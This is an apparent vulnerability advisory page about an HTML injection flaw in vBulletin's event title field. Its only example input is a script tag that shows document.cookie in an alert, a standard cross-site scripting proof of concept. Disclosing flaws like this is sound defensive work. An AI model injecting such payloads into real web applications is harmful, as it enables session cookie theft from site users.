• info
• discussion
• exploit
• solution
• references

VBulletin Event Title HTML Injection Vulnerability

The following example was provided as Event Title input:

TITLE:--------->Test<script>alert(document.cookie)</script>